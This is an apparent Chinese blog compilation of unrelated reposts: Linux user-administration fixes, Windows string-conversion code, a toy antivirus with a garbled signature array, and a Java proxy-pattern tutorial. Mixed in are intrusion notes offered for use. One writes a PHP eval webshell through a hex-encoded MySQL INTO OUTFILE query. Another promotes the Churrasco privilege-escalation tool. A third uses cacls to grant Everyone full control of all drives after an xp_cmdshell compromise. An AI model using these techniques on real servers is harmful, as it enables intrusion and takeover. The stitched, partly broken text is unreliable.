useradd: unable to open password file 解决办法

useradd: unable to open password file 解决办法

2010-03-24 23:51

 

现象:
root用户用useradd加个普通用户提示:useradd: unable to open password file。
普通用户su root提示:密码错(我可以肯定密码是对了)。

解决办法:
1.首先检查下面四个文件是否加了权限保护
[root@203 etc]# lsattr /etc/passwd
————- /etc/passwd
[root@203 etc]# lsattr /etc/shadow
—-i——– /etc/shadow
[root@203 etc]# lsattr /etc/gshadow
————- /etc/gshadow
[root@203 etc]# lsattr /etc/group
—-i——– /etc/group
从结果来看/etc/shadow 和 /etc/group都加了保护。下一步就是去除保护
2.删除文件保护
[root@203 etc]# chattr -i /etc/shadow
[root@203 etc]# lsattr /etc/shadow
————- /etc/shadow
[root@203 etc]# chattr -i /etc/group
[root@203 etc]# lsattr /etc/group
————- /etc/group                                                           如果还不行同样处理/etc/passwd
3.添加用户试试
[root@203 etc]# useradd huangf
[root@203 etc]# passwd huangf
Changing password for user huangf.
New UNIX password:
BAD PASSWORD: it is too simplistic/systematic
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
添加用户成功了!!!!!

 

转自:http://hi.baidu.com/fei_20018/blog/item/e4c754f6cf728529bd3109ee.html

Linux下查看已登录用户及pkill强制活动用户退出

1.查看活动用户:

命令: w

功能说明: 显示当前登入系统的用户信息

语法: w [-fhlsuV] [用户名称]

参数:

-f: 开启或关闭显示用户从何处登入系统

-h: 不显示各栏位的标题信息列

-l: 使用详细格式列表,此为预设值

-s 使用简洁格式列表,不显示用户登入时间,终端机阶段作业和程序所耗费的CPU时间

-u: 忽略执行程序的名称,以及该程序耗费CPU时间的信息

-V: 显示版本信息

补充说明: w命令功能比who更加强大,不但可以显示有谁登陆到系统,还可以显示出这些用户当前正在进行的工作.

信息说明

 

USER: 当前活动用户

TTY: 终端名称

FROM: 远程主机名

LOGIN@: 登录时间

IDLE: 空闲时间,从用户上一次任务结束后开始计时

JCPU: 以终端号来区分,表示在某段时间内,所有与该终端相关的进程任务所耗费的CPU时间

PCPU: 指WHAT域的任务执行后耗费的CPU时间

WHAT: 当前正在运行进程的命令行

 

 

2.强制活动用户退出

命令: pkill

可以使用 pkill -kill -t [TTY]命令来完成强制活动用户退出.其中TTY表示终端名称

Unicode下CString(wchar_t)转换为 char* (转)

平台VC2005,使用Unicode字符集。因为以前一直是用多字节字符集的,使用的str开头的函数都要转换成_wcs,烦,最后,被CString类型无法转换为char*或char[]的错误搞得是火大了。

使用以前转换CString的方法或者网上别人的指导用法,都失效了
1. strcpy_s( pchar, sizeof(pchar), mCString.GetBuffer(mCString.GetLength()) );不行,mCString.GetBuffer()返回的是wchar_t数组,使用Unicode字符集时,wchar_t无法自动转换为char*.

2. strcpy_s(pchar, sizeof(pchar), (LPCSTR)_bstr_t(mCString));不行,”_bstr_t找不到识别符”

3. char *pch = (T2A)(LPSTR)(LPCTSTR)mCString; 也不行,”T2A是没声明的标识符”,我补加上相应头文件AtlConv.h或AtlBase.h等的,也还是报错不改。

4. char *pch = (LPSTR)(LPCTSTR)mCString; 这样没有报错,但pch只能获得CString的第一个字符而已,第一个换成(char*),也只能获取第一个字符。郁闷。

5. CString.GetBuffer(CString.GetLength())不行。w_char*不能转为_char*。

正确方法:
wstring MultCHarToWideChar(string str)
{
   //获取缓冲区的大小,并申请空间,缓冲区大小是按字符计算的
   int len=MultiByteToWideChar(CP_ACP,0,str.c_str(),str.size(),NULL,0);
   TCHAR *buffer=new TCHAR[len+1];
   //多字节编码转换成宽字节编码
   MultiByteToWideChar(CP_ACP,0,str.c_str(),str.size(),buffer,len);
   buffer[len]=’\0′;//添加字符串结尾
   //删除缓冲区并返回值
   wstring return_value;
   return_value.append(buffer);
   delete []buffer;
   return return_value;
}
string WideCharToMultiChar(wstring str)
{
   string return_value;
   //获取缓冲区的大小,并申请空间,缓冲区大小是按字节计算的
   int len=WideCharToMultiByte(CP_ACP,0,str.c_str(),str.size(),NULL,0,NULL,NULL);
   char *buffer=new char[len+1];
   WideCharToMultiByte(CP_ACP,0,str.c_str(),str.size(),buffer,len,NULL,NULL);
   buffer[len]=’\0′;
   //删除缓冲区并返回值
   return_value.append(buffer);
   delete []buffer;
   return return_value;
}

于是使用
string mstring = WideCharToMultiChar( (LPCTSTR)mCString );
strcpy_s( pach, sizeof(pach), mstring.c_str() );
转换成功

MultiByteToWideChar的与WideCharToMultiByte的参数详解
 
第一个就是宽字符到多字节字符转换函数,函数原型如下:

int WideCharToMultiByte(
UINT CodePage,
DWORD dwFlags,
LPCWSTR lpWideCharStr,
int cchWideChar,
LPSTR lpMultiByteStr,
int cbMultiByte,
LPCSTR lpDefaultChar,
LPBOOL lpUsedDefaultChar
);

此函数把宽字符串转换成指定的新的字符串,如ANSI,UTF8等,新字符串不必是多字节字符集。参数:

CodePage: 指定要转换成的字符集代码页,它可以是任何已经安装的或系统自带的字符集,你也可以使用如下所示代码页之一。

CP_ACP 当前系统ANSI代码页
CP_MACCP 当前系统Macintosh代码页
CP_OEMCP 当前系统OEM代码页,一种原始设备制造商硬件扫描码
CP_SYMBOL Symbol代码页,用于Windows 2000及以后版本,我不明白是什么
CP_THREAD_ACP 当前线程ANSI代码页,用于Windows 2000及以后版本,我不明白是什么
CP_UTF7 UTF-7,设置此值时lpDefaultChar和lpUsedDefaultChar都必须为NULL
CP_UTF8 UTF-8,设置此值时lpDefaultChar和lpUsedDefaultChar都必须为NULL

我想最常用的应该是CP_ACP和CP_UTF8了,前者将宽字符转换为ANSI,后者转换为UTF8。

dwFlags: 指定如何处理没有转换的字符, 但不设此参数函数会运行的更快一些,我都是把它设为0。 可设的值如下表所示:
WC_NO_BEST_FIT_CHARS 把不能直接转换成相应多字节字符的Unicode字符转换成lpDefaultChar指定的默认字符。也就是说,如果把Unicode转换成多字节字符,然后再转换回来,你并不一定得到相同的Unicode字符,因为这期间可能使用了默认字符。此选项可以单独使用,也可以和其他选项一起使用。
WC_COMPOSITECHECK 把合成字符转换成预制的字符。它可以与后三个选项中的任何一个组合使用,如果没有与他们中的任何一个组合,则与选项WC_SEPCHARS相同。
WC_ERR_INVALID_CHARS 此选项会致使函数遇到无效字符时失败返回,并且GetLastError会返回错误码ERROR_NO_UNICODE_TRANSLATION。否则函数会自动丢弃非法字符。此选项只能用于UTF8。

WC_DISCARDNS 转换时丢弃不占空间的字符,与WC_COMPOSITECHECK一起使用
WC_SEPCHARS 转换时产生单独的字符,此是默认转换选项,与WC_COMPOSITECHECK一起使用
WC_DEFAULTCHAR 转换时使用默认字符代替例外的字符,(最常见的如’?’),与WC_COMPOSITECHECK一起使用。

当指定WC_COMPOSITECHECK时,函数会将合成字符转换成预制字符。合成字符由一个基字符和一个不占空间的字符(如欧洲国家及汉语拼音的音标)组成,每一个都有不同的字符值。预制字符有一个用于表示基字符和不占空间字符的合成体的单一的字符值。
当指定WC_COMPOSITECHECK选项时,也可以使用上表列出的最后3个选项来定制预制字符的转换规则。这些选项决定了函数在遇到宽字符串的合成字符没有对应的预制字符时的行为,他们与WC_COMPOSITECHECK一起使用,如果都没有指定,函数默认WC_SEPCHARS。

对于下列代码页,dwFlags必须为0,否则函数返回错误码ERROR_INVALID_FLAGS。
50220 50221 50222 50225 50227 50229 52936 54936 57002到57011 65000(UTF7) 42(Symbol)
对于UTF8,dwFlags必须为0或WC_ERR_INVALID_CHARS,否则函数都将失败返回并设置错误码ERROR_INVALID_FLAGS,你可以调用GetLastError获得。

lpWideCharStr: 待转换的宽字符串。

cchWideChar: 待转换宽字符串的长度,-1表示转换到字符串结尾。

lpMultiByteStr: 接收转换后输出新串的缓冲区。

cbMultiByte: 输出缓冲区大小,如果为0,lpMultiByteStr将被忽略,函数将返回所需缓冲区大小而不使用lpMultiByteStr。

lpDefaultChar: 指向字符的指针, 在指定编码里找不到相应字符时使用此字符作为默认字符代替。 如果为NULL则使用系统默认字符。对于要求此参数为NULL的dwFlags而使用此参数,函数将失败返回并设置错误码ERROR_INVALID_PARAMETER。

lpUsedDefaultChar:开关变量的指针,用以表明是否使用过默认字符。对于要求此参数为NULL的dwFlags而使用此参数,函数将失败返回并设置错误码ERROR_INVALID_PARAMETER。lpDefaultChar和lpUsedDefaultChar都设为NULL,函数会更快一些。

返回值: 如果函数成功,且cbMultiByte非0,返回写入lpMultiByteStr的字节数(包括字符串结尾的null);cbMultiByte为0,则返回转换所需

字节数。函数失败,返回0。
注意:函数WideCharToMultiByte使用不当,会给影响程序的安全。调用此函数会很容易导致内存泄漏,因为lpWideCharStr指向的输入缓冲区大小是宽字符数,而lpMultiByteStr指向的输出缓冲区大小是字节数。为了避免内存泄漏,应确保为输出缓冲区指定合适的大小。我的方法是先使cbMultiByte为0调用WideCharToMultiByte一次以获得所需缓冲区大小,为缓冲区分配空间,然后再次调用WideCharToMultiByte填充缓冲区,详见下面的代码。另外,从Unicode UTF16向非Unicode字符集转换可能会导致数据丢失,因为该字符集可能无法找到表示特定Unicode数据的字符。

wchar_t* pwszUnicode = “Holle, word! 你好,中国! “;
int iSize;
char* pszMultiByte;

iSize = WideCharToMultiByte(CP_ACP, 0, pwszUnicode, -1, NULL, 0, NULL, NULL);
pszMultiByte = (char*)malloc((iSize+1));
WideCharToMultiByte(CP_ACP, 0, pwszUnicode, -1, pszMultiByte, iSize, NULL, NULL);

第二个是多字节字符到宽字符转换函数,函数原型如下:
> int MultiByteToWideChar(
UINT CodePage,
DWORD dwFlags,
LPCSTR lpMultiByteStr,
int cbMultiByte,
LPWSTR lpWideCharStr,
int cchWideChar
);

此函数把多字节字符串转换成宽字符串(Unicode),待转换的字符串并不一定是多字节的。

此函数的参数,返回值及注意事项参见上面函数WideCharToMultiByte的说明,这里只对dwFlags做简单解释。

dwFlags: 指定是否转换成预制字符或合成的宽字符,对控制字符是否使用像形文字,以及怎样处理无效字符。

MB_PRECOMPOSED 总是使用预制字符,即有单个预制字符时,就不会使用分解的基字符和不占空间字符。此为函数的默认选项,不能和MB_COMPOSITE合用
MB_COMPOSITE 总是使用分解字符,即总是使用基字符+不占空间字符的方式
MB_ERR_INVALID_CHARS 设置此选项,函数遇到非法字符就失败并返回错误码ERROR_NO_UNICODE_TRANSLATION,否则丢弃非法字符
MB_USEGLYPHCHARS 使用像形字符代替控制字符

对于下列代码页,dwFlags必须为0,否则函数返回错误码ERROR_INVALID_FLAGS。
50220 50221 50222 50225 50227 50229 52936 54936 57002到57011 65000(UTF7) 42(Symbol)
对于UTF8,dwFlags必须为0或MB_ERR_INVALID_CHARS,否则函数都将失败并返回错误码ERROR_INVALID_FLAGS。

以下函数我没用过,只简要说明之。

int GetTextCharset( HDC hdc );

此函数获取当前选进的设备描述表的字符集,等同于GetTextCharsetInfo(hdc, NULL, 0)。

返回值: 成功返回字符集标识,失败返回DEFAULT_CHARSET。

杀毒软件的简单实现

#include “FunDef.h”
int main (int argc, char *argv[])
{
if (argc==1)
{
Usage(argv[0]);
return 0;
}
if (!(ScanFileVXER(argv[1])))
{
printf(“ScanFileVXER() GetLastError reports %d\n”,erron);
return 0;
}
if (!(ProcessVXER()))
{
printf(“Processes() GetLastError reports %d\n”,erron);
return 0;
}
if (!(RegDelVXER()))
{
printf(“RegDelVXER() GetLastError reports %d\n”,erron);
return 0;
}
return 0;
}
BOOL ScanFileVXER (char *FileName)
{
int count=LOW;
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
BOOL returnvalue=FALSE;
DWORD lpBufferLength=HIGH;
char lpBuffer[HIGH]={LOW};
char DirBuffer[MAX_PATH];
杀毒软件的简单实现
long FileOffset=0x1784; //偏移地址
int FileLength=0x77; //长度
unsigned char Contents[]={
0x49, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x2
0x61, 0x79, 0x20, 0x4C, 0x4F, 0x56, 0x45, 0x20, 0x59, 0x4F, 0x55, 0x20, 0x53, 0x41, 0x4
0x21, 0x20, 0x62, 0x69, 0x6C, 0x6C, 0x79, 0x20, 0x67, 0x61, 0x74, 0x65, 0x73, 0x20, 0x7
0x79, 0x20, 0x64, 0x6F, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x7
0x69, 0x73, 0x20, 0x70, 0x6F, 0x73, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x20, 0x3F, 0x20, 0x5
0x6F, 0x70, 0x20, 0x6D, 0x61, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x6D, 0x6F, 0x6E, 0x65, 0x
0x61, 0x6E, 0x64, 0x20, 0x66, 0x69, 0x78, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x73, 0x6
0x74, 0x77, 0x61, 0x72, 0x65, 0x21, 0x21};
//具体内容,十六进制
//获取系统目录的完整路径
if (GetSystemDirectory(DirBuffer,lpBufferLength)!=LOW)
{
if (SetCurrentDirectory(DirBuffer)!=LOW) //设置为当前目录
{
hFind=FindFirstFile(FileName,&FindFileData); //查找文件
if (hFind==INVALID_HANDLE_VALUE)
{
printf(“FindFirstFile() GetLastError reports %d\n”,erron);
FindClose(hFind);
return returnvalue;
}
else
{
count++;
//获得文件的完整路径
if (GetFullPathName(FindFileData.cFileName,lpBufferLength,lpBuffer,NULL)!=LOW)
printf(“FilePath:%s\n”,lpBuffer);
else
{
printf(“GetFullPathName() GetLastError reports %d\n”,erron);
FindClose(hFind);
return returnvalue;
}
}
//进行特征码的匹配工作
ScanVXER(FindFileData.cFileName,FileOffset,FileLength,Contents);
}
}
while (FindNextFile(hFind,&FindFileData)) //继续查找文件
{
count++;
//以”.”和”..”除外
if (strcmp(“.”,FindFileData.cFileName)==LOW||strcmp(“..”,FindFileData.cFileName)==LOW
{
printf(“File no include \”.\” and \”..\”\n”);
exit(0);
}
if (GetFullPathName(FindFileData.cFileName,lpBufferLength,lpBuffer,NULL)!=LOW)
printf(“Next FilePath:%s\n”,lpBuffer);
else
{
printf(“GetFullPathName() GetLastError reports %d\n”,erron);
FindClose(hFind);
exit(0);
}
ScanVXER(FindFileData.cFileName,FileOffset,FileLength,Contents);
}
printf(“File Total:%d\n”,count); //打印出查找到的文件各数
FindClose(hFind); //关闭搜索句柄
returnvalue=TRUE;
return returnvalue;
}
BOOL ScanVXER (
char *V_FileName, //文件名
long V_FileOffset, //偏移地址
int V_Length, //长度
void *V_Contents) //具体内容
{
int cmpreturn=LOW;
char FileContents[HIGH]={LOW};
BOOL returnvalue=FALSE;
FILE *fp=NULL;
fp=fopen(V_FileName,”rb”); //以二进制只读方式打开
if (fp==NULL)
{
printf(“File open FAIL\n”);
fclose(fp);
return returnvalue;
}
fseek(fp,V_FileOffset,SEEK_SET); //把文件指针指向特征码在文件的偏移地址处
fread(FileContents,V_Length,1,fp);//读取长度为特征码长度的内容
cmpreturn=memcmp(V_Contents,FileContents,V_Length);
//进行特征码匹配。失败返回FALSE
if (cmpreturn==LOW)
{
printf(“File Match completely\n”); //打印文件匹配消息
strcpy(name,V_FileName); //将文件名保存在全局变量name中
exit(0);
}
else
returnvalue=FALSE;
}
BOOL ProcessVXER (void)
{
DWORD lpidProcess[1024],cbNeeded_1,cbNeeded_2;
HANDLE hProc;
HMODULE hMod[1024];
char ProcFile[MAX_PATH];
char FileName[FIVE]={LOW};
BOOL returnvalue=FALSE;
int Pcount=LOW;
int i;
EnablePrivilege(SE_DEBUG_NAME); //提升权限
//枚举进程
if (!(EnumProcesses(lpidProcess,sizeof(lpidProcess),&cbNeeded_1)))
{
printf(“EnumProcesses() GetLastError reports %d\n”,erron);
return 0;
}
for (i=LOW;i<(int)cbNeeded_1/4;i++)
{
//打开找到的第一个进程
hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,lpidProcess[i]);
if (hProc)
{
//枚举进程模块
if (EnumProcessModules(hProc,hMod,sizeof(hMod),&cbNeeded_2))
{
//枚举进程模块文件名,包含全路径
if (GetModuleFileNameEx(hProc,hMod[0],ProcFile,sizeof(ProcFile)))
{
printf(“[%5d]\t%s\n”,lpidProcess[i],ProcFile); //输出进程
//可以考虑将其注释掉,这样就不会输出进程列表了
Pcount++;
strcpy(FileName,”C:\\WINNT\\system32\\”);
strcat(FileName,name);//把文件名+路径复制到FileName变量中
//查找进程中是否包含FileName
if (strcmp(FileName,ProcFile)==LOW)
{
//如果包含,则杀掉。KillProc为自定义的杀进程函数
if (!(KillProc(lpidProcess[i])))
{
printf(“KillProc() GetLastError reports %d\n”,erron);
CloseHandle(hProc);
exit(0);
}
DeleteFile(FileName); //进程杀掉后,再将文件删除
}
}
}
}
}
CloseHandle(hProc); //关闭进程句柄
printf(“\nProcess total:%d\n”,Pcount); //打印进程各数
returnvalue=TRUE;
return 0;
}
BOOL KillProc (DWORD *ProcessID)
{
HANDLE hProc;
BOOL returnvalue=FALSE;
//打开由ProcessVXER传递的进程PID
hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
if (hProc)
{
//终止进程
if (!(TerminateProcess(hProc,0)))
{
printf(“TerminateProcess GetLastError reports %d\n”,erron);
return returnvalue;
}
}
CloseHandle(hProc);
returnvalue=TRUE;
return returnvalue;
}
BOOL EnablePrivilege(PCHAR PrivilegeName)
{
HANDLE hProc,hToken;
TOKEN_PRIVILEGES TP;
hProc=GetCurrentProcess(); //打开进程的一个伪句柄
if(!OpenProcessToken(hProc,TOKEN_ADJUST_PRIVILEGES,&hToken))
{
return FALSE;
}
if(!LookupPrivilegeValue(NULL,PrivilegeName,&TP.Privileges[0].Luid))
{
CloseHandle(hToken);
return FALSE;
}
TP.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
TP.PrivilegeCount=1;
if(!AdjustTokenPrivileges(hToken,FALSE,&TP,sizeof(TP),0,0))
{
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int RegDelVXER (void)
{
HKEY hkey;
DWORD ret=LOW;
//打开注册表的Run项
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
“SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\”,
0,
KEY_ALL_ACCESS,
&hkey);
if (!ret==ERROR_SUCCESS)
{
printf(“Register Open FAIL\n”);
exit(0);
}
//删除键值windows auto update。
ret==RegDeleteValue(hkey,”windows auto update”);
if (ret==ERROR_SUCCESS)
printf(“Success Delete\n”);
else
{
printf(“Delete FAIL\n”);
exit(0);
}
RegCloseKey(hkey); //关闭打开的注册表项
return 1;
}
void Usage (char *Parameter)
{
char *Path=”%SystemRoot%\\system32\\”;
fprintf
(stderr,”===============================================================
” 杀毒软件的简单实现\n”
“环境:Win2K Adv Server + Visual C++ 6.0\n”
“作者:dahubaobao\n”
“主页:www.RingZ.org\;n”
“OICQ:382690\n”
“邮件:382690@qq.com\n”
“声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!\n\n”
“使用方法:\n”
“%s 文件名。例如:%s msblast.exe\n\n”
“注意事项:\n”
“本程序只是简单介绍杀毒软件的编写方法,所以有很多不完善的地方,包括:\n”
“1,本程序是以冲击波蠕虫做的例子\n”
“2,文件遍历只搜索了%s目录下的文件\n”
“3,本程序不能查杀冲击波变种\n\n”
“本程序只是用做代码交流,如有错误,还请多多包含!\n”
“====================================================================
,Parameter,Parameter,Path);
}

mysql/php对单引号转义时load_file/outfile 生成一句话

一般apache的php配置一下,就会将单引号转义

不过现在也可以突破限制了,得到一句话木马php文件/php小马:

mysql多语句执行下不用单引号outfile写shell

mysql> use xssdb;
Database changed

mysql> set @a=0x73656C6563742030783343334637303638373032303430363537363631364332
38323435463530344635333534354232373633364436343237354432393342334633452066726F6D
20787373206C696D6974203120696E746F206F757466696C652027433A2F7368656C6C2E70687027;
Query OK, 0 rows affected (0.00 sec)
mysql> prepare cmd from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> execute cmd;
Query OK, 1 row affected (0.00 sec)
上面加密的十六进制是:
select 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E from xss

limit 1 into outfile ‘C:/shell.php’

说这些就足够了!!

字符串 <–> 十六进制转换工具:

16进制转换器

 

巴西烤肉提权

忘了这个犀利的东东了。。

提权必用!good

必须能够使用cmd命令,无路是系统自带的还是自己上传的。

上传巴西烤肉到网站某目录:wwwroot/admin/假设,假设他绝对路径是d:/wwwroot/admin/a.exe

那么执行cmd命令:

d:/wwwroot/admin/a.exe “net user”

其余的你懂的。

巴西烤肉软件:

Churrasco  带有c++源代码哦。有兴趣的自己编译

设计模式-快餐简解-【代理模式】

代理模式应用场景举例

比如在玩“极品飞车”这款游戏,如果游戏者手中的金钱达到了一定的数量就可以到车店买一部性能更高的赛车,那么这个卖车的“车店”就是一个典型的“汽车厂家”的“代理”,他为汽车厂家“提供卖车的服务”给有需求的人士。从面向对象的方面考虑,“销售汽车的代理”也是一个对象,那么这个对象也具有一定的状态,在软件项目中这个对象也具有管理财务进销存的基本功能,那么在设计时就要以面向OOP编程的思想来考虑软件的类结构,这个销售汽车的代理也是一个类了。

    【代理模式解释】

类型:结构模式

对一些对象提供代理,以限制那些对象去访问其它对象。

代理模式UML图

    【代理模式-JAVA代码实现

    新建一个买车的接口:

package buy_car_package;
public interface buy_car_package {
public void buy_car();
}

 

    新建一个people人类,具有买车的行为,所以实现接口buy_car_package:

package buy_car_imple;

import buy_car_package.buy_car_package;
public class people implements buy_car_package {

private int cash;
private String username;

public int getCash() {
return cash;
}

public void setCash(int cash) {
this.cash = cash;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}
public void buy_car() {
System.out.println(username + “买了一台新车”);
}
}

    people类不能拥有车,必须经过proxy代理类的认证,符合条件之后才可以拥有车辆,新建一个代理,这个代理类来考察当前的people是否有资格进行买车:

package buy_car_imple;

import buy_car_package.buy_car_package;

public class proxy_buy_car_imple implements buy_car_package {

private people people;

public people getPeople() {
return people;
}

public void setPeople(people people) {
this.people = people;
}

public void buy_car() {
if (people.getCash() > 3000) {
System.out.println(people.getUsername() + “花” + people.getCash()
+ “块 买了新车 交易结束”);
} else {
System.out.println(people.getUsername() + “金钱不够,请继续比赛!”);
}
}

}

 

    最后创建一个客户端,用来模拟买车的行为:

package run_main;

import buy_car_imple.people;
import buy_car_imple.proxy_buy_car_imple;

public class run_main {
public static void main(String[] args) {
people people_ref1 = new people();
people_ref1.setCash(4000);
people_ref1.setUsername(“高洪岩”);

people people_ref2 = new people();
people_ref2.setCash(2000);
people_ref2.setUsername(“岩洪高”);

proxy_buy_car_imple proxy_buy_car_imple = new proxy_buy_car_imple();
proxy_buy_car_imple.setPeople(people_ref1);
proxy_buy_car_imple.buy_car();

proxy_buy_car_imple.setPeople(people_ref2);
proxy_buy_car_imple.buy_car();

}
}

 

    程序运行结果如下:

高洪岩花4000块 买了新车 交易结束
岩洪高金钱不够,请继续比赛!

 

    这样people就不可能自由的拥有车辆,必须经过proxy的认证之后才可以。

    而代理模式在GOF四人帮的介绍中大体有4种使用情景:

    (1)远程代理。典型的就是客户端与webservice使用的情况,客户端由于是针对OOP编程,而不是针对webservice中的方法进行编程,所以得在客户端模拟一下webservice的环境,用proxy来对webservice进行包装,这样就可以使用proxy代理类来远程操作webservice了。

    (2)虚拟代理。比如你要开发一个大文档查看软件,大文档中有大的图片,有可能一个图片有100MB,在打开文件时不可能将所有的图片都显示出来,这样就可以使用代理模式,当需要查看图片时,用proxy来进行大图片的打开。

    (3)安全代理。其实也就是本例中所举的买车的例子,金钱不够不可以买车!

    (4)智能指引。比如在访问一个对象时检测其是否被锁定等情况。

    【代理模式-MyEclipse6项目JAVA代码实现

    代理模式proxy示例代码:点击

Cacls提权命令

刚刚搞了个sa,

恢复xp_cmdshell,写小马之后,连接,可是权限太小。各种不能读写。

好久终于想起来这么个东东。好久不搞安全,真是生疏了~~

aspContentLabel style=”PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px”>Cacls的命令参数:
cacls.exe c: /e /t /g everyone:F #把c盘设置为everyone可以浏览
cacls.exe d: /e /t /g everyone:F #把d盘设置为everyone可以浏览
cacls.exe e: /e /t /g everyone:F #把e盘设置为everyone可以浏览
cacls.exe f: /e /t /g everyone:F #把f盘设置为everyone可以浏览

CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user […]]
[/P user:perm […]] [/D user […]]
filename 显示 ACL。
/T 更改当前目录及其所有子目录中
指定文件的 ACL。
/E 编辑 ACL 而不替换。
/C 在出现拒绝访问错误时继续。
/G user:perm 赋予指定用户访问权限。
Perm 可以是: R 读取
W 写入
C 更改(写入)
F 完全控制
/R user 撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。
/P user:perm 替换指定用户的访问权限。
Perm 可以是: N 无
R 读取
W 写入
C 更改(写入)
F 完全控制
/D user 拒绝指定用户的访问。
在命令中可以使用通配符指定多个文件。